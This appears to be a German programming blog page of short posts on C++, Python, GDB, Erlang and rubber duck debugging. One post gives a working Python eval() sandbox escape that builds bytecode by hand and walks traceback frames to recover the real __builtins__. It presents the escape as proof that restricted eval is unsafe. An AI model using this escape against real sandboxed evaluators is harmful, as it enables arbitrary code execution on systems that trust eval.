Skip to content

Superficial Reflections de

Der "läuft gegen"-Operator in C++

#include <iostream>

int main(int argc, char **argv)
{
    int x = 10;

    // x goes to 0
    while (x --> 0)
        std::cout << x << std::endl;
}

marshal-Spaß

>>> import marshal
>>> marshal.loads('l\x02\x00\x00\x00\x00\x00\x00\x00')
00000L
>>> bool(_)
True
>>>

Ausgabe in der Python-REPL abschneiden

Dazu benutzt man einfach sys.displayhook. bpython und Python führen beim Starten die Datei aus, auf die die Umgebungsvariable PYTHONSTARTUP zeigt. Man kann sich also einfach eine Datei mit folgendem Inhalt anlegen:

import __builtin__
import sys

def displayhook(value):
    if value is not None:
        __builtin__._ = value
        out = repr(value)
        if len(out) > 42:
            out = out[:42] + '... (truncated)'
        print out
sys.displayhook = displayhook

Dann wird die Ausgabe automatisch abgeschnitten. Mag man dann die eigentliche Ausgabe, kann man print _ bzw. print repr(_) benutzen.

eval() in Python ist nicht sicher

Häufig findet man Leute, die gerne mathematische Ausdrücke in Python evaluieren wollen. Dabei kommen sie auf die Idee, dass man dazu ja eval() benutzen könnte. Und damit das ganze auch noch sicher ist, übergibt man eigene globals und locals, in den man optimalerweise __builtins__ auf None setzt, da dann CPythons restricted mode aktiviert wird, ein Überbleibsel aus vergangenen Zeiten. Im restricted mode darf man auf besstimme Attribute von Funktionsobjekten und Klassen nicht zugreifen, wie etwa __defaults__, womit ein trügerisches Gefühl von Sicherheit gegeben wird.

Warum ist das nicht sicher? Zunächst einmal hat man irgendwann gemerkt, dass man in CPython einfach keine sichere Sandbox hinbekommt, weshalb man diesen Mode nicht mehr so wirklich pflegt. Seit Python 2.6 haben Generatoren ein gi_code-Attribut, wodurch man letztlich auch eigene Code-Objekte und damit beliebige Funktionen erstellen kann. Das führt uns also zu folgendem Code:

ns = dict(__builtins__=None)

print eval("""(lambda d={}, t=(1).__class__.__class__:
                (t(lambda: 23)(
                    t((_ for _ in []).gi_code)(
                        0, 1, 4, 67,"""
                        # SETUP_EXCEPT
                        r"""'y\x0c\x00'"""
                        # LOAD_CONST 1
                        r"""'d\x01\x00'"""
                        # LOAD_CONST 0
                        r"""'d\x02\x00'"""
                        # BINARY_DIVIDE
                        r"""'\x15'"""
                        # POP_TOP
                        r"""'\x01'"""
                        # POP_BLOCK
                        r"""'W'"""
                        # JUMP FORWARD 9
                        r"""'n\x09\x00'"""
                        # POP_TOP
                        r"""'\x01'"""
                        # POP_TOP
                        r"""'\x01'"""
                        # Now the traceback object is on TOS
                        # STORE_GLOBAL tb
                        r"""'a\x00\x00'"""
                        # JUMP_FORWARD 1
                        r"""'n\x01\x00'"""
                        # END_FINALLY
                        r"""'X'"""
                        # LOAD_CONST None
                        r"""'d\x00\x00'"""
                        # RETURN_VALUE
                        """'S',
                        (None, 1, 0), ('tb', ), (),
                        'evil.py', 'evil', 1, ''
                    ), d, None, ()
                )(),d['tb'].tb_frame.f_back.f_back.f_back.f_globals)[1])()""",
                ns, ns)

Führt man das aus, fällt einem auf, dass man damit an das richtige __builtins__-Objekt kommt, und damit dann auch beispielsweise __import__ aufrufen kann. Wie funktioniert das aber? Zunächst einmal holt man sich das Builtin type mit (1).__class__.__class__ und speichert es sich in t (indem man es als Default-Argument eines lambdas benutzt und den eigentlichen Code im Körper des lambdas schreibt und das lambda dann aufruft). Damit erstellt man dann ein neues Code-Objekt, das man durch t((_ for _ in []).gi_code) bekommt und damit dann ein neues Funktionsobjekt, das man mit t(lambda: 23) bekommt. Dieses Funktionsobjekt wird dann ausgeführt.

Was macht das konstruierte Funktionsobjekt beim Ausführen? Dazu schaut man sich die folgende Funktion an:

def throws():
    try:
        1 / 0
    except:
        pass

Der Bytecode der Funktion sieht dabei wie folgt aus:

3           0 SETUP_EXCEPT            12 (to 15)

4           3 LOAD_CONST               1 (1)
            6 LOAD_CONST               2 (0)
            9 BINARY_DIVIDE
           10 POP_TOP
           11 POP_BLOCK
           12 JUMP_FORWARD             7 (to 22)

5     >>   15 POP_TOP
           16 POP_TOP
           17 POP_TOP

6          18 JUMP_FORWARD             1 (to 22)
           21 END_FINALLY
      >>   22 LOAD_CONST               0 (None)
           25 RETURN_VALUE

Man beachte die drei POP_TOPs im Mittelteil (der den except-Block darstellt): CPython speichert bei einer Ausnahme den Typ der Ausnahme, die Ausnahme selbst und ein Traceback-Objekt auf dem Stack (das, was sys.exc_info() zurückliefert). Und bekanntlich kommt man mit Traceback-Objekten an ein Frame-Objekt, und mit Frame-Objekten kann man sich den Stack hochhangeln und kommt somit an die globals des Aufrufers, in der man die richtigen __builtins__ findet. Ergo konstruiert man sich einfach eine Funktion, die das Traceback-Objekt eben in einem globalen Namen speichert anstatt es einfach vom Stack verschwinden zu lassen.

Hardwarebreakpoints und GDB

Wenn man sich wundert, wie man mit gdb lustig Hardwarebreakpoints setzen kann, obwohl x86 eigentlich nur vier unterstützt: Die Manual klärt auf.

Since they depend on hardware resources, hardware breakpoints may be limited in number; when the user asks for more, GDB will start trying to set software breakpoints. (On some architectures, notably the 32-bit x86 platforms, GDB cannot always know whether there's enough hardware resources to insert all the hardware breakpoints and watchpoints. On those platforms, GDB prints an error message only when the program being debugged is continued.)

Gnarf.

tail call optimization in CPython

CPython unterstützt ja bekanntermaßen keine TCO von sich aus, weshalb es zahlreiche mehr oder weniger schöne Hacks gibt, die das CPython beibringen. Aber einen wirklich beeindruckenden habe ich eben in #python auf Freenode gesehen, geschrieben von habnabit. Und zwar wird der Bytecode geändert, CALL_FUNCTION wird zu JUMP_ABSOLUTE geändert.

Nachtrag: Das müsste eigentlich recht zuverlässig funktionieren, unter verschiedenen CPython-Versionen. Für das CALL_FUNCTION müssen die Argumente eh auf dem Stack liegen. Diese werden jetzt einfach mit STORE_FAST in die Namen geschrieben, die die Funktion entgegen nimmt, und dann wird wieder zum Anfang der Funktion gesprungen.

import inspect, pprint, types, dis, struct, opcode, array
short = struct.Struct('<H')

class Label(object):
    pass

class Code(object):
    @classmethod
    def from_code(cls, code_obj):
        self = cls()
        self.code_obj = code_obj
        self.names = list(code_obj.co_names)
        self.varnames = list(code_obj.co_varnames)
        self.consts = list(code_obj.co_consts)
        ret = []
        line_starts = dict(dis.findlinestarts(code_obj))
        code = code_obj.co_code
        labels = dict((addr, Label()) for addr in dis.findlabels(code))
        i, l = 0, len(code)
        extended_arg = 0
        while i < l:
            op = ord(code[i])
            if i in labels:
                ret.append(('MARK_LABEL', labels[i]))
            if i in line_starts:
                ret.append(('MARK_LINENO', line_starts[i]))
            i += 1
            if op >= opcode.HAVE_ARGUMENT:
                arg, = short.unpack(code[i:i + 2])
                arg += extended_arg
                extended_arg = 0
                i += 2
                if op == opcode.EXTENDED_ARG:
                    extended_arg = arg << 16
                    continue
                elif op in opcode.hasjabs:
                    arg = labels[arg]
                elif op in opcode.hasjrel:
                    arg = labels[i + arg]
            else:
                arg = None
            ret.append((opcode.opname[op], arg))
        self.code = ret
        return self

    def to_code(self):
        code_obj = self.code_obj
        co_code = array.array('B')
        co_lnotab = array.array('B')
        label_pos = {}
        jumps = []
        lastlineno = code_obj.co_firstlineno
        lastlinepos = 0
        for op, arg in self.code:
            if op == 'MARK_LABEL':
                label_pos[arg] = len(co_code)
            elif op == 'MARK_LINENO':
                incr_lineno = arg - lastlineno
                incr_pos = len(co_code) - lastlinepos
                lastlineno = arg
                lastlinepos = len(co_code)

                if incr_lineno == 0 and incr_pos == 0:
                    co_lnotab.append(0)
                    co_lnotab.append(0)
                else:
                    while incr_pos > 255:
                        co_lnotab.append(255)
                        co_lnotab.append(0)
                        incr_pos -= 255
                    while incr_lineno > 255:
                        co_lnotab.append(incr_pos)
                        co_lnotab.append(255)
                        incr_pos = 0
                        incr_lineno -= 255
                    if incr_pos or incr_lineno:
                        co_lnotab.append(incr_pos)
                        co_lnotab.append(incr_lineno)
            elif arg is not None:
                op = opcode.opmap[op]
                if op in opcode.hasjabs or op in opcode.hasjrel:
                    jumps.append((len(co_code), arg))
                    arg = 0
                if arg > 0xffff:
                    co_code.extend((opcode.EXTENDED_ARG,
                        (arg >> 16) & 0xff, (arg >> 24) & 0xff))
                co_code.extend((op,
                    arg & 0xff, (arg >> 8) & 0xff))
            else:
                co_code.append(opcode.opmap[op])

        for pos, label in jumps:
            jump = label_pos[label]
            if co_code[pos] in opcode.hasjrel:
                jump -= pos + 3
            assert jump <= 0xffff
            co_code[pos + 1] = jump & 0xff
            co_code[pos + 2] = (jump >> 8) & 0xff

        return types.CodeType(code_obj.co_argcount, code_obj.co_nlocals,
            code_obj.co_stacksize, code_obj.co_flags, co_code.tostring(),
            tuple(self.consts), tuple(self.names), tuple(self.varnames),
            code_obj.co_filename, code_obj.co_name, code_obj.co_firstlineno,
            co_lnotab.tostring(), code_obj.co_freevars, code_obj.co_cellvars)

    def const_idx(self, val):
        try:
            return self.consts.index(val)
        except ValueError:
            self.consts.append(val)
            return len(self.consts) - 1

def tail_call(func):
    code = Code.from_code(func.func_code)
    func_name = func.__name__
    if func_name in code.varnames:
        raise SyntaxError('"%s" was found as a local variable in the function' %
            func_name)
    try:
        name_idx = code.names.index(func_name)
    except IndexError:
        raise SyntaxError('"%s" not found in function\'s global names' %
            func_name)
    last_idx = 0
    func_start = Label()
    code.code.insert(0, ('MARK_LABEL', func_start))
    while True:
        try:
            lglobal_idx = code.code.index(('LOAD_GLOBAL', name_idx), last_idx)
        except ValueError:
            break

        if code.code[lglobal_idx - 1][0] != 'MARK_LINENO':
            last_idx = lglobal_idx + 1
            continue

        try:
            return_idx = code.code.index(('RETURN_VALUE', None), lglobal_idx)
        except ValueError:
            raise SyntaxError('"return" not found in function after "%s"' %
                func_name)

        if (return_idx != len(code.code) - 1
                and code.code[return_idx + 1][0] != 'MARK_LINENO'):
            last_idx = return_idx + 1
            continue

        if code.code[return_idx - 1][0] in ('CALL_FUNCTION_VAR',
                'CALL_FUNCTION_KW', 'CALL_FUNCTION_VAR_KW'):
            raise SyntaxError('calling with *a and/or **kw is unsupported')

        if code.code[return_idx - 1][0] != 'CALL_FUNCTION':
            last_idx = return_idx + 1
            continue

        if code.code[return_idx - 1][1] & 0xff00:
            raise SyntaxError('calling with keyword arguments is unsupported')

        arg_names, _, _, defaults = inspect.getargspec(func)
        n_args = code.code[return_idx - 1][1]
        if defaults is None:
            defaults = ()
        if n_args + len(defaults) < len(arg_names):
            raise SyntaxError('not enough arguments provided')

        new_bytecode = []
        if n_args < len(arg_names):
            new_bytecode.extend(
                ('LOAD_CONST', code.const_idx(d))
                for d in defaults[n_args - len(arg_names):])
        new_bytecode.extend(
            ('STORE_FAST', code.varnames.index(arg))
            for arg in reversed(arg_names))
        new_bytecode.append(('JUMP_ABSOLUTE', func_start))
        code.code[return_idx - 1:return_idx + 1] = new_bytecode
        del code.code[lglobal_idx]

    func.func_code = code.to_code()
    return func

def factorial(n, acc=1):
    if n <= 0:
        return acc
    return factorial(n - 1, n * acc)

dis.dis(factorial)
factorial = tail_call(factorial)
print
dis.dis(factorial)

print factorial(10000)

eval in Erlang

Der Code vom erl_eval-Modul von Erlang/OTP, der fun-Ausdrücke implementiert (kann man in lib/stdlib/src/erl_eval.erl finden):

%% This is a really ugly hack!
F =
case length(element(3,hd(Cs))) of
    0 -> fun () -> eval_fun(Cs, [], En, Lf, Ef) end;
    1 -> fun (A) -> eval_fun(Cs, [A], En, Lf, Ef) end;
    2 -> fun (A,B) -> eval_fun(Cs, [A,B], En, Lf, Ef) end;
    3 -> fun (A,B,C) -> eval_fun(Cs, [A,B,C], En, Lf, Ef) end;
    4 -> fun (A,B,C,D) -> eval_fun(Cs, [A,B,C,D], En, Lf, Ef) end;
    5 -> fun (A,B,C,D,E) -> eval_fun(Cs, [A,B,C,D,E], En, Lf, Ef) end;
    6 -> fun (A,B,C,D,E,F) -> eval_fun(Cs, [A,B,C,D,E,F], En, Lf, Ef) end;
    7 -> fun (A,B,C,D,E,F,G) ->
       eval_fun(Cs, [A,B,C,D,E,F,G], En, Lf, Ef) end;
    8 -> fun (A,B,C,D,E,F,G,H) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H], En, Lf, Ef) end;
    9 -> fun (A,B,C,D,E,F,G,H,I) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H,I], En, Lf, Ef) end;
    10 -> fun (A,B,C,D,E,F,G,H,I,J) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H,I,J], En, Lf, Ef) end;
    11 -> fun (A,B,C,D,E,F,G,H,I,J,K) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H,I,J,K], En, Lf, Ef) end;
    12 -> fun (A,B,C,D,E,F,G,H,I,J,K,L) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H,I,J,K,L], En, Lf, Ef) end;
    13 -> fun (A,B,C,D,E,F,G,H,I,J,K,L,M) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H,I,J,K,L,M], En, Lf, Ef) end;
    14 -> fun (A,B,C,D,E,F,G,H,I,J,K,L,M,N) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H,I,J,K,L,M,N], En, Lf, Ef) end;
    15 -> fun (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H,I,J,K,L,M,N,O], En, Lf, Ef) end;
    16 -> fun (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P], En, Lf, Ef) end;
    17 -> fun (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q], En, Lf, Ef) end;
    18 -> fun (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R], En, Lf, Ef) end;
    19 -> fun (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S],
                En, Lf, Ef) end;
    20 -> fun (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T) ->
       eval_fun(Cs, [A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T],
                En, Lf, Ef) end;
    _Other ->
        erlang:raise(error, {'argument_limit',{'fun',Line,Cs}},
                     stacktrace())

Rubber Duck method of debugging

  1. Beg, borrow, steal, buy, fabricate or otherwise obtain a rubber duck (bathtub variety)

  2. Place rubber duck on desk and inform it you are just going to go over some code with it, if that's all right.

  3. Explain to the duck what you code is supposed to do, and then go into detail and explain things line by line

  4. At some point you will tell the duck what you are doing next and then realise that that is not in fact what you are actually doing. The duck will sit there serenely, happy in the knowledge that it has helped you on your way.

Works every time. Actually, if you don't have a rubber duck you could at a pinch ask a fellow programmer or engineer to sit in.

Quelle.